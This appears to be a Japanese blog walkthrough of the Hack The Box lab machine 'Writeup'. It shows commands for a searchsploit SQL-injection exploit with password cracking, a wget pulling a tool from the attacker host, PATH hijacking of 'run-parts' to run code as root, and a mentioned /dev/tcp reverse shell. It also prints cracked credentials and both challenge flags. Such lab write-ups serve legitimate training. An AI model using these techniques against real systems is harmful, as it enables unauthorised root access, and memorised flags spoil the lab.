セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Writeup Walkthrough

はじめに

  • マシン名:Writeup
  • OS:Linux
  • 目標:user.txtとroot.txtの中身の取得
  • ターゲットIPアドレス:10.10.10.138

ポートスキャン

# nmap -sC -sV -Pn 10.10.10.138

f:id:Paichan:20200723020709p:plain 22(ssh)、80(http)が開いている。
※nmap -p- 10.10.10.138も実行し、ポート検出漏れしていないかも確認。

ブラウザで80番ポートへアクセス

f:id:Paichan:20200723020730p:plain こんな画面。文章を読んでみると、DoSの対策をしていると書かれている。

ディレクトリスキャン

# gobuster dir -u http://10.10.10.138/ -w /usr/share/dirb/wordlists/common.txt -s 200,301,302,403 -t 100

上述の通りDoSの対策をしているからか、エラーが返されて実行できなかった。

robots.txtの確認

nmapの結果でrobots.txtを検出しているので、ここを見に行く。 f:id:Paichan:20200723021245p:plain

/writeup/ディレクトリが存在しているようだ。Disallowとなっているが、制御されておらず、アクセスできた。 f:id:Paichan:20200723021417p:plain

ソースコードを見てみると、使っているCMSが「CMS Made Simple」だと特定できる。 f:id:Paichan:20200723021606p:plain

CMS Made Simple」のエクスプロイトコード調査

バージョンまでは特定できていなかったが、CMS名で探す。
SQLインジェクションのエクスプロイトコードがあったので、これを持ってくる。

# searchsploit CMS Made Simple
# searchsploit -m 46635

f:id:Paichan:20200723022042p:plain

user.txt取得まで

python2のvenv上で必要なライブラリをインストールし、使い方を確認。辞書ファイルにはrockyou.txtを指定して実行した。

./46635.py -u http://10.10.10.138/writeup/ --crack -w /usr/share/wordlists/rockyou.txt

f:id:Paichan:20200723022547p:plain f:id:Paichan:20200723022609p:plain
ユーザ名:jkr、パスワード:raykayjay9をゲット。

この認証情報を使ってsshアクセスし、user.txtの取得完了。

ssh jkt@10.10.10.138

f:id:Paichan:20200723022823p:plain

権限昇格のための情報収集(試したこと)

以下を実行した。

sudo -l
find / -perm -4000 -type f 2>/dev/null
uname -a

f:id:Paichan:20200723023324p:plain sudoは実行できず、SUIDが設定されているもので権限昇格に使えそうなものはなかったのでunameで出力されたカーネルのバージョン情報からエクスプロイトコードを探した。

searchsploit linux 4.9

f:id:Paichan:20200723023453p:plain Local Privilege Escalationというものが2つほどあったが、バージョン違いなどで使えそうにない。

実行プロセスの調査

続いて、ターゲット上で実行されているプロセスを調査するため、pspyを使う。 32bitOS用と64bitOS用があるが、上記unameの出力(x86_64)より、64bitであることがわかるので、pspy64を持ってくる。

攻撃側環境でpython3のSympleHTTPServerを使って8000ポートで待ち受けて、、、

# python -m SimpleHTTPServer 8000

ターゲットシェル上でwgetを実行。

wget http://10.10.14.11:8000/pspy64

f:id:Paichan:20200723204901p:plain

pspy64を実行。

$ ./pspy64

この状態で別シェルからターゲット端末にssh接続すると、接続の度にsshd:[accesptd]以下が実行されていることが分かった。 f:id:Paichan:20200723205416p:plain

中身を見ていく。sshで接続すると、まず以下が実行されている。

sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new

envコマンドに-iオプションを付与することで、環境変数を継承しない新規の環境を指定している。環境変数PATHを設定した後で、run-partsコマンドを実行しているようだ。

以下のコマンドより、run-partsコマンドのパスを調べると、/bin配下にあることが分かった。

$ which run-parts

f:id:Paichan:20200723215115p:plain

ここまでを整理する。
ssh接続後に実行されるプロセスはUID=0、つまりroot権限で実行されている(pspyの結果より)。
run-parts/bin配下にあるため、/usr/local/sbin/usr/local/binよりも優先度は低い(pspyの結果より)。

つまり、/usr/local/sbin/usr/local/binrun-partsという名前のファイルを置けば、root権限で任意のコマンドが実行できるかもしれない。

root.txt取得まで

現在のユーザであるshellyが/usr/local/sbin/usr/local/binに書き込み権限があるのかを確認する。

$ ls -l /usr/local | grep bin
$ id

f:id:Paichan:20200723220335p:plain 実行結果より、/usr/local/sbin/usr/local/binはともにstaffグループが所有しており、書き込み権限があるようだ。
また、shellyもstaffグループに所属しているため、このディレクトリに書き込みができる。

そこで、以下のようなシェルスプリプトを「run-parts」という名前で/usr/local/sbinに配意する。また、忘れずに実行権限も付与しておく。 f:id:Paichan:20200723220903p:plain

あとは別シェルで再度ssh接続すると、/usr/local/sbinに配置した「run-parts」が実行され、/tmpにroot.txtがコピーされ、終了。 f:id:Paichan:20200723221044p:plain

root.txt取得の別解

root.txtのコピーでなく、/dev/tcp/IPアドレス/ポートで通信先指定をするパターンでもrootのシェルが獲得できた。 f:id:Paichan:20200723221406p:plain

user.txt:d4e493fd4068afc9eb1aa6a55319f978
root.txt:eeba47f60b48ef92b734f9b6198d7226